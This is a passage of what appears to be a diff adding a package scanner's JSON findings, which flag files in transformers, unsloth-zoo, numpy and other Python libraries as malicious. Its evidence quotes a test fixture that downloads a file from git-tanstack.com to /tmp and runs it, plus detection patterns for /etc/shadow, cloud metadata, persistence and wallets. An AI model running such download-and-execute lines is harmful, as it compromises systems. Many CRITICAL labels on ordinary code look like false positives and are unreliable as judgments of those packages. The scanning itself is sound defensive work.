"af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1699: while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65", + "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L288: value = os.environ[key] | L304: value = os.environ[key] | L2165: env = os.environ.copy() | L2287: for k in list(os.environ.keys()):\nNetwork: L2597: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:", + "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L2473: import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc", + "evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736" + }, + { + "package": "transformers", + "file": "transformers/utils/import_utils.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L2345: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" + }, + { + "package": "triton", + "file": "triton/tools/build_extern.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317: def disasm(self, lib_path: str) -> None:\nL318: subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()", + "evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890" + }, + { + "package": "trl", + "file": "trl/extras/vllm_client.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L152: while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f", + "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1" + }, + { + "package": "trl", + "file": "trl/extras/vllm_client.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L146: while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe", + "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db" + }, + { + "package": "trl", + "file": "trl/import_utils.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L144: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Accesses cloud metadata/IMDS AND makes network calls", + "severity": "CRITICAL", + "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Installs persistence AND makes network calls (backdoor pattern)", + "severity": "CRITICAL", + "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\" | L170: r\"|/Library/LaunchAgents\" | L172: r\"|~/.local/share/systemd\" | L174: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "May-12 Shai-Hulud IOC string present in Python file", + "severity": "CRITICAL", + "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\",", + "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Targets cryptocurrency wallets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8", + "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839" + }, + { + "package": "unsloth-zoo", + "file": "tests/security/fixtures/_build.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53: \"https://git-tanstack.com/transformers.pyz\",\nL54: \"/tmp/transformers.pyz\",\nL55: )", + "evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a" + }, + { + "package": "unsloth-zoo", + "file": "tests/security/fixtures/_build.py", + "check": "May-12 Shai-Hulud IOC string present in Python file", + "severity": "CRITICAL", + "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", + "evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8" + }, + { + "package": "unsloth-zoo", + "file": "tests/security/fixtures/_build.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L54: \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", + "evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336" + }, + { + "package": "unsloth-zoo", + "file": "tests/security/test_scan_packages.py", + "check": "May-12 Shai-Hulud IOC string present in Python file", + "severity": "CRITICAL", + "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\", | L157: \"With Love TeamPCP\", | L158: \"We've been online over 2 hours\",", + "evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5" + }, + { + "package": "unsloth-zoo", + "file": "tests/security/test_scan_packages.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L155: \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0", + "evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_convert_hf_to_gguf_patcher.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)", + "evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_mlx_save_export_regressions.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L165: temporary_location=\"/tmp/ignored\", sha256:9f8502377b19666288b28399633dfc6740a64d0cb70ad1615e38b1269f94bf37", + "evidence_hash": "b7262d6e58f2ebad961dd3e64ca6c32bba356b5044d7a642d7dbd36a58cb6c81" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_quantize_gguf_q2_k_l.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L67: input_gguf=\"/tmp/in.gguf\", sha256:06789b55e8f31426c233f37ff7d3729cc9e1f61c0829abd2c00c39216c63c7ad", + "evidence_hash": "ad4913d9099eb9b70e09d6860b242eb5f48c67e46d9bf4ae35c1c38a267d753b" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_upstream_pinned_symbols_transformers.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:", + "evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/device_type.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request(\nL83: index_url,\nL84: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85: method = method,\nL86: ) | L87: with urllib.request.urlopen(request, timeout = 2.5) as response: | L100: request = urllib.request.Request(\nL101: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL103: ) | L104: with urllib.request.urlopen(request, timeout = 2.5) as response:", + "evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/llama_cpp.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L938: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)", + "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/llama_cpp.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)", + "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926" + }, + { + "package": "urllib3", + "file": "urllib3/response.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L557: if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResponse like. \"", + "evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839" + }, + { + "package": "urllib3", + "file": "urllib3/util/ssl_.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket, | L462: sock: socket.socket,", + "evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d" + }, + { + "package": "attrs", + "file": "attr/_make.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)", + "evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61" + }, + { + "package": "beartype", + "file": "beartype/_util/func/utilfuncmake.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)", + "evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed" + }, + { + "package": "botocore", + "file": "botocore/vendored/six.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", + "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" + }, + { + "package": "cffi", + "file": "cffi/_cffi_gen_src.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L52: compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53: exec(compiled, globs, globs)", + "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9" + }, + { + "package": "cffi", + "file": "cffi/setuptools_ext.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)", + "evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402" + }, + { + "package": "ddgs", + "file": "ddgs/dht/libp2p_client.py", + "check": "DNS exfiltration / tunneling patterns", + "severity": "HIGH", + "evidence": "DNS: L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195: sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)", + "evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4" + }, + { + "package": "dill", + "file": "dill/_dill.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj) | L1064: return __import__(import_name, None, None, [obj]) | L1066: return __import__(import_name)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')", + "evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129" + }, + { + "package": "dill", + "file": "dill/source.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395: obj = eval(lines[0].lstrip(name + ' = ')) | L541: exec(getimportable(f, alias='_'), __globals__, __locals__) | L711: try: exec(_str)", + "evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c" + }, + { + "package": "dnspython", + "file": "dns/query.py", + "check": "DNS exfiltration / tunneling patterns", + "severity": "HIGH", + "evidence": "DNS: L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421: import dns.resolver | L423: resolver = dns.resolver.Resolver() | L457: resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176: return socket.socket(af, kind, proto) | L182: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566: if session and not isinstance(session, httpx.Client): | L567: raise ValueError(\"session parameter must be an httpx.Client\") | L598: cm = httpx.Client(\nL599: http1=h1, http2=h2, verify=verify, transport=transport\nL600: ) | L1545: s: socket.socket | ssl.SSLSocket, | L1556: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM", + "evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971" + }, + { + "package": "fastmcp-slim", + "file": "fastmcp/server/auth/providers/jwt.py", + "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)", + "severity": "HIGH", + "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))", + "evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8" + }, + { + "package": "ipython", + "file": "IPython/core/debugger.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L986: trace_function = sys.gettrace() | L987: sys.settrace(None) | L999: sys.settrace(trace_function) | L1399: sys.settrace(None)\nExec: L925: x = eval(arg, {}, {})", + "evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4" + }, + { + "package": "ipython", + "file": "IPython/core/debugger_backport.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)", + "evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232" + }, + { + "package": "ipython", + "file": "IPython/core/magics/execution.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1193: self.shell.compile(ast_setup, \"\", \"exec\") | L1194: self.shell.compile(ast_stmt, \"\", \"exec\") | L1215: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", + "evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075" + }, + { + "package": "ipython", + "file": "IPython/core/magics/execution.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L987: trace = sys.gettrace() | L998: sys.settrace(trace)\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", + "evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9" + }, + { + "package": "jinja2", + "file": "jinja2/environment.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)", + "evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91" + }, + { + "package": "matplotlib", + "file": "matplotlib/sphinxext/plot_directive.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L326: compile(text, '', 'exec')\nExec: L543: exec('import numpy as np\\n'\nL544: 'from matplotlib import pyplot as plt\\n', ns) | L546: exec(str(setup.config.plot_pre_code), ns) | L552: exec(code, ns) | L554: exec(function_name + \"()\", ns)", + "evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L440: time.sleep(300)\nNetwork: L3651: client = socket.socket() | L4933: s = socket.socket() | L5205: return socket.socket().detach() | L5209: fd = socket.socket().detach() | L5220: socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394: with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395: stdout=subprocess.PIPE,\nL4396: stderr=subprocess.PIPE) as p: | L5107: data = subprocess.check_output(\nL5108: [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504: p = subprocess.Popen([sys.executable,\nL5505: '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506: pass_fds=[w],\nL5507: stderr=subprocess.PIPE)", + "evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095" + }, + { + "package": "networkx", + "file": "networkx/utils/decorators.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)", + "evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92" + }, + { + "package": "numba", + "file": "numba/np/ufunc/array_exprs.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)", + "evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb" + }, + { + "package": "numba", + "file": "numba/tests/support.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L874: __import__(modname)\nExec: L808: eval(co, globs, ns)", + "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109" + }, + { + "package": "numba", + "file": "numba/tests/test_firstlinefinder.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)", + "evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788" + }, + { + "package": "numba", + "file": "numba/tests/test_funcdesc.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)", + "evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495" + }, + { + "package": "numba", + "file": "numba/tests/test_import.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))", + "evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a" + }, + { + "package": "numba", + "file": "numba/tests/test_np_functions.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L7118: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7118: exec(compile(funcstr, '', 'exec'), globals(), dct)", + "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed" + }, + { + "package": "numpy", + "file": "numpy/testing/_private/utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", + "evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c" + }, + { + "package": "numpy", + "file": "numpy/testing/_private/utils.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L2788: original_trace = sys.gettrace() | L2790: sys.settrace(None) | L2793: sys.settrace(original_trace)\nSubprocess: L1486: output = subprocess.run(cmd, capture_output=True, text=True) | L2889: res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890: errors=\"replace\", **kwargs)\nExec: L1352: exec(astr, dict) | L1640: exec(code, globs, locs)", + "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b" + }, + { + "package": "numpy", + "file": "numpy/testing/_private/utils.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)\nSubprocess: L1478: output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", + "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844" + }, + { + "package": "numpy", + "file": "numpy/tests/test_public_api.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L543: core_submodule = __import__(\nL544: f\"numpy.core.{submodule_name}\",\nL545: fromlist=[submodule_member_name]\nL546: )\nExec: L405: eval(module_name)", + "evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d" + }, + { + "package": "pillow", + "file": "PIL/Image.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3776: def eval(image: Image, *args: Callable[[int], float]) -> Image:", + "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13" + }, + { + "package": "protobuf", + "file": "protobuf-3.19.6-nspkg.pth", + "check": "Unusually large executable .pth (539 bytes)", + "severity": "HIGH", + "evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e", + "evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e" + }, + { + "package": "pygments", + "file": "pygments/formatters/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)", + "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" + }, + { + "package": "pygments", + "file": "pygments/lexers/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)", + "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" + }, + { + "package": "scikit-learn", + "file": "sklearn/externals/array_api_compat/torch/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L19: __import__(__package__ + 